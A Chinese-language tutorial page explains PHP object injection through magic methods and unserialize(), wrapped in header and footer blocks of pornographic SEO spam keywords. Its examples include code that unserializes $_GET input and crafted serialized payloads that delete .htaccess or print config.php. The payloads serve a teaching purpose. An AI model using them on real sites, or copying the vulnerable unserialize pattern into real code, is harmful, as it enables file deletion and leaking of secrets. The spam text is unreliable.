亚洲精品久久久中文字幕-亚洲精品久久片久久-亚洲精品久久青草-亚洲精品久久婷婷爱久久婷婷-亚洲精品久久午夜香蕉

您的位置:首頁技術(shù)文章
文章詳情頁

一文帶你搞懂PHP對象注入

瀏覽:155日期:2022-06-06 09:55:37
目錄
  • 背景
  • 漏洞案例
  • PHP類和對象
  • php magic方法
  • php對象序列化
  • 序列化magic函數(shù)
  • php對象注入
  • 常見的注入點(diǎn)
  • 其他的利用方法
  • 如何利用或者避免這個(gè)漏洞
  • 結(jié)論

背景

php對象注入是一個(gè)非常常見的漏洞,這個(gè)類型的漏洞雖然有些難以利用,但仍舊非常危險(xiǎn),為了理解這個(gè)漏洞,請讀者具備基礎(chǔ)的php知識。

漏洞案例

如果你覺得這是個(gè)渣渣洞,那么請看一眼這個(gè)列表,一些被審計(jì)狗挖到過該漏洞的系統(tǒng),你可以發(fā)現(xiàn)都是一些耳熟能詳?shù)耐嬉猓ň蛧鈦碚f)

  • WordPress 3.6.1
  • Magento 1.9.0.1
  • Joomla 3.0.3
  • Ip board 3.3.5

除此之外等等一堆系統(tǒng),八成可能大概在這些還有其他的php程序中還有很多這種類型的漏洞,所以不妨考慮坐下喝杯咖啡并且試著去理解這篇文章。

PHP類和對象

類和變量是非常容易理解的php概念,打個(gè)比方,下面的代碼在一個(gè)類中定義了一個(gè)變量和一個(gè)方法。

#!php
<?php
class TestClass
{
    // 一個(gè)變量
    public $variable = "This is a string";
    // 一個(gè)簡單的方法
    public function PrintVariable()
    {
echo $this->variable;
    }
}

// 創(chuàng)建一個(gè)對象
$object = new TestClass();
// 調(diào)用一個(gè)方法
$object->PrintVariable();
?>

php magic方法

php類可能會(huì)包含一些特殊的函數(shù)叫magic函數(shù),magic函數(shù)命名是以符號“__”開頭的,比如 __construct, __destruct, __toString, __sleep, __wakeup 和其他的一些玩意。

這些函數(shù)在某些情況下會(huì)自動(dòng)調(diào)用,比如:

__construct 當(dāng)一個(gè)對象創(chuàng)建時(shí)調(diào)用 (constructor) __destruct 當(dāng)一個(gè)對象被銷毀時(shí)調(diào)用 (destructor) __ toString當(dāng)一個(gè)對象被當(dāng)作一個(gè)字符串使用

為了更好的理解magic方法是如何工作的,讓我們添加一個(gè)magic方法在我們的類中。

#!php
<?php
class TestClass
{
    // 一個(gè)變量
    public $variable = "This is a string";

    // 一個(gè)簡單的方法
    public function PrintVariable()
   {
echo $this->variable . "<br />";
    }

    // Constructor
    public function __construct()
   {
echo "__construct <br />";
    }

    // Destructor
    public function __destruct()
   {
echo "__destruct <br />";
    }

    // Call
    public function __toString()
   {
return "__toString<br />";
    }
}
// 創(chuàng)建一個(gè)對象
//  __construct會(huì)被調(diào)用
$object = new TestClass();
// 創(chuàng)建一個(gè)方法
//  "This is a string" 這玩意會(huì)被輸出
$object->PrintVariable();
// 對象被當(dāng)作一個(gè)字符串
//  __toString 會(huì)被調(diào)用
echo $object;
// End of PHP script
// php腳本要結(jié)束了, __destruct會(huì)被調(diào)用
?>

這個(gè)腳本會(huì)輸出這狗樣:

__construct 
This is a string 
__toString 
__destruct

php對象序列化

php允許保存一個(gè)對象方便以后重用,這個(gè)過程被稱為序列化,打個(gè)比方,你可以保存一個(gè)包含著用戶信息的對象方便等等重用。

為了序列化一個(gè)對象,你需要調(diào)用 “serialize”函數(shù),函數(shù)會(huì)返回一個(gè)字符串,當(dāng)你需要用到這個(gè)對象的時(shí)候可以使用“unserialize”去重建對象。

讓我們在序列化丟進(jìn)那個(gè)例子,看看序列化張什么樣。

</pre>
<pre>
#!php
<?php
// 某類
class User
{
    // 類數(shù)據(jù)
    public $age = 0;
    public $name = "";

    // 輸出數(shù)據(jù)
    public function PrintData()
    {
echo "User " . $this->name . " is " . $this->age
     . " years old. <br />";
    }
}
// 創(chuàng)建一個(gè)對象
$usr = new User();
// 設(shè)置數(shù)據(jù)
$usr->age = 20;
$usr->name = "John";
// 輸出數(shù)據(jù)
$usr->PrintData();
// 輸出序列化之后的數(shù)據(jù)
echo serialize($usr);
?>

它會(huì)輸出

User John is 20 years old. 
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

你可以看到序列化之后的數(shù)據(jù)中 有 20和John,其中沒有任何跟類有關(guān)的東西,只有其中的數(shù)據(jù)被數(shù)據(jù)化。

為了使用這個(gè)對象,我們用unserialize重建對象。

#!php
<?php
// 某類
class User
{
    // Class data
    public $age = 0;
    public $name = "";

    // Print data
    public function PrintData()
    {
echo "User " . $this->name . " is " . $this->age . " years old. <br />";
    }
}
// 重建對象
$usr = unserialize("O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}");

// 調(diào)用PrintData 輸出數(shù)據(jù)
$usr->PrintData();
?>

這會(huì)輸出

User John is 20 years old

序列化magic函數(shù)

magic函數(shù)constructor (__construct)和 destructor (__destruct) 是會(huì)在對象創(chuàng)建或者銷毀時(shí)自動(dòng)調(diào)用,其他的一些magic函數(shù)會(huì)在serialize 或者 unserialize的時(shí)候被調(diào)用。

__sleep magic方法在一個(gè)對象被序列化的時(shí)候調(diào)用。__wakeup magic方法在一個(gè)對象被反序列化的時(shí)候調(diào)用。

注意 __sleep 必須返回一個(gè)數(shù)組與序列化的變量名。

#!php
<?php
class Test
{
    public $variable = "BUZZ";
    public $variable2 = "OTHER";

    public function PrintVariable()
   {
echo $this->variable . "<br />";
    }

    public function __construct()
   {
echo "__construct<br />";
    }

    public function __destruct()
   {
echo "__destruct<br />";
    }

    public function __wakeup()
   {
echo "__wakeup<br />";
    }

    public function __sleep()
   {
echo "__sleep<br />";
return array("variable", "variable2");
    }
}

// 創(chuàng)建一個(gè)對象,會(huì)調(diào)用 __construct
$obj = new Test();

// 序列化一個(gè)對象,會(huì)調(diào)用 __sleep
$serialized = serialize($obj);

//輸出序列化后的字符串
print "Serialized: " . $serialized . <br />";
// 重建對象,會(huì)調(diào)用 __wakeup
$obj2 = unserialize($serialized);

//調(diào)用 PintVariable, 會(huì)輸出數(shù)據(jù) (BUZZ)
$obj2->PrintVariable();
// php腳本結(jié)束,會(huì)調(diào)用 __destruct 
?>

這玩意會(huì)輸出:

__construct 
__sleep 
Serialized: O:4:"Test":2:
{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";} 
__wakeup 
BUZZ 
__destruct 
__destruct

你可以看到,我們創(chuàng)建了一個(gè)對象,序列化了它(然后__sleep被調(diào)用),之后用序列化對象重建后的對象創(chuàng)建了另一個(gè)對象,接著php腳本結(jié)束的時(shí)候兩個(gè)對象的__destruct都會(huì)被調(diào)用。

php對象注入

現(xiàn)在我們理解了序列化是如何工作的,我們該如何利用它?事實(shí)上,利用這玩意的可能性有很多種,關(guān)鍵取決于應(yīng)用程序的流程與,可用的類,與magic函數(shù)。

記住序列化對象的值是可控的。

你可能會(huì)找到一套web程序的源代碼,其中某個(gè)類的__wakeup 或者 __destruct and其他亂七八糟的函數(shù)會(huì)影響到web程序。

打個(gè)比方,我們可能會(huì)找到一個(gè)類用于臨時(shí)將日志儲存進(jìn)某個(gè)文件,當(dāng)__destruct被調(diào)用時(shí),日志文件會(huì)被刪除。然后代碼張這狗樣。

#!php
<?php 

class LogFile
{
    // log文件名
    public $filename = "error.log";

    // 某代碼,儲存日志進(jìn)文件
    public function LogData($text)
   {
echo "Log some data: " . $text . "<br />";
file_put_contents($this->filename, $text, FILE_APPEND);
    }

    // Destructor 刪除日志文件
    public function __destruct()
   {
echo "__destruct deletes "" . $this->filename . "" file. <br />";
unlink(dirname(__FILE__) . "/" . $this->filename);
    }
}
?>

某例子關(guān)于如何使用這個(gè)類

#!php
<?php
include "logfile.php";

// 創(chuàng)建一個(gè)對象
$obj = new LogFile();

// 設(shè)置文件名和要儲存的日志數(shù)據(jù)
$obj->filename = "somefile.log";
$obj->LogData("Test");

// php腳本結(jié)束啦,__destruct被調(diào)用,somefile.log文件被刪除。
?>

在其他的腳本,我們可能又恰好找到一個(gè)調(diào)用“unserialize”函數(shù)的,并且恰好變量是用戶可控的,又恰好是$_GET之類的什么玩意的。

#!php
<?php
include "logfile.php";

// ... 一些狗日的代碼和 LogFile 類 ...
// 簡單的類定義
class User
{
    // 類數(shù)據(jù)
    public $age = 0;
    public $name = "";

    // 輸出數(shù)據(jù)
    public function PrintData()
   {
echo "User " . $this->name . " is " . $this->age . " years old. <br />";
    }
}

// 重建 用戶輸入的 數(shù)據(jù)
$usr = unserialize($_GET["usr_serialized"]);
?>

你看,這個(gè)代碼調(diào)用了 “LogClass” 類,并且有一個(gè) “unserialize” 值是我們可以注入的。

所以構(gòu)造類似這樣的東西:

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

究竟發(fā)生了什么呢,因?yàn)檩斎胧强煽氐模晕覀兛梢詷?gòu)造任意的序列化對象,比如:

#!php
<?php
$obj = new LogFile();
$obj->filename = ".htaccess";
echo serialize($obj) . "<br />";
?>

這個(gè)會(huì)輸出

O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";} 
__destruct deletes ".htaccess" file.

現(xiàn)在我們將構(gòu)造過后的序列化對象發(fā)送給剛才的腳本:

script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess”;}

這會(huì)輸出

__destruct deletes ".htaccess" file.

現(xiàn)在 .htaccess 已經(jīng)被干掉了,因?yàn)槟_本結(jié)束時(shí) __destruct會(huì)被調(diào)用。不過我們已經(jīng)可以控制“LogFile”類的變量啦。

這就是漏洞名稱的由來:變量可控并且進(jìn)行了unserialize操作的地方注入序列化對象,實(shí)現(xiàn)代碼執(zhí)行或者其他坑爹的行為。

雖然這不是一個(gè)很好的例子,不過我相信你可以理解這個(gè)概念,unserialize自動(dòng)調(diào)用 __wakeup 和 __destruct,接著攻擊者可以控制類變量,并且攻擊web程序。

常見的注入點(diǎn)

先不談 __wakeup 和 __destruct,還有一些很常見的注入點(diǎn)允許你利用這個(gè)類型的漏洞,一切都是取決于程序邏輯。

打個(gè)比方,某用戶類定義了一個(gè)__toString為了讓應(yīng)用程序能夠?qū)㈩愖鳛橐粋€(gè)字符串輸出(echo $obj) ,而且其他類也可能定義了一個(gè)類允許__toString讀取某個(gè)文件。

#!php
<?php 
// … 一些include ...
class FileClass
{
    // 文件名
    public $filename = "error.log";

    //當(dāng)對象被作為一個(gè)字符串會(huì)讀取這個(gè)文件
    public function __toString()
    {
return file_get_contents($this->filename);
    }
}

// Main User class
class User
{
    // Class data
    public $age = 0;
    public $name = "";

    // 允許對象作為一個(gè)字符串輸出上面的data
    public function __toString()
   {
return "User " . $this->name . " is " . $this->age . " years old. <br />";
    }
}

// 用戶可控
$obj = unserialize($_GET["usr_serialized"]);
// 輸出 __toString
echo $obj;
?>

so,我們構(gòu)造url

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

再想想,如果我們用序列化調(diào)用 FileClass呢

我們創(chuàng)建利用代碼

#!php
<?php
$fileobj = new FileClass();
$fileobj->filename = "config.php";
echo serialize($fileobj);

?>

接著用生成的exp注入url

script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php”;}

接著網(wǎng)頁會(huì)輸出 config.php的源代碼

#!php
<?php
     $private_data = 'MAGIC';
?>

ps:我希望這讓你能夠理解。

其他的利用方法

可能其他的一些magic函數(shù)海存在利用點(diǎn):比如__call 會(huì)在對象調(diào)用不存在的函數(shù)時(shí)調(diào)用,__get 和 __set會(huì)在對象嘗試訪問一些不存在的類,變量等等時(shí)調(diào)用。

不過需要注意的是,利用場景不限于magic函數(shù),也有一些方式可以在一半的函數(shù)中利用這個(gè)漏洞,打個(gè)比方,一個(gè)模塊可能定義了一個(gè)叫g(shù)et的函數(shù)進(jìn)行一些敏感的操作,比如訪問數(shù)據(jù)庫,這就可能造成sql注入,取決于函數(shù)本身的操作。

如何利用或者避免這個(gè)漏洞

別在任何用戶可控的地方使用“unserialize”,可以考慮“json_decode“

結(jié)論

雖然很難找到而且很難利用,但是這真的真的很嚴(yán)重,可以導(dǎo)致各種各樣的漏洞。

到此這篇關(guān)于一文帶你搞懂PHP對象注入的文章就介紹到這了,更多相關(guān)PHP對象注入內(nèi)容請搜索以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持!

標(biāo)簽: PHP
相關(guān)文章:
主站蜘蛛池模板: 性情视频在线高清免费 | 日韩中文字幕视频 | 免费一级乱子伦片 | 日本视频高清免费观看xxx | 91亚洲福利| 亚洲一区二区三区四区在线观看 | 停停五月天 | 国产精品久久现线拍久青草 | 播放黄色一级片 | 亚洲涩色 | 一区二区高清视频在线观看 | 国内永久第一免费福利视频 | 青青久久网 | 欧美亚洲日本国产综合网 | 一区二区三区四区在线观看视频 | 中文字幕久久久久一区 | 国产区在线看 | 韩国r级福利视频在线观看网站 | 国产乱码精品一区二区三区中 | 国产乱码一区二区三区四 | 在线观看免费网址大全 | 中文字幕在线播 | 国产精品乱 | 国产成人久久综合二区 | 免费观看欧美性生 | 久久久国产这里有的是精品 | 欧美金妇欧美乱妇视频 | 日本一级特黄刺激爽大片 | 99久久免费看精品国产一区 | 一级片毛片 | 欧美操美女 | 曰韩在线视频 | 国产91欧美 | 日韩妞干网 | 羞羞一区二区三区四区片 | 五月婷婷久久综合 | 国内自拍视频在线看免费观看 | 成人爱爱爱欧美日本视频 | 在线视频久 | 国产午夜a理论毛片在线影院 | 久久99精品福利久久久 |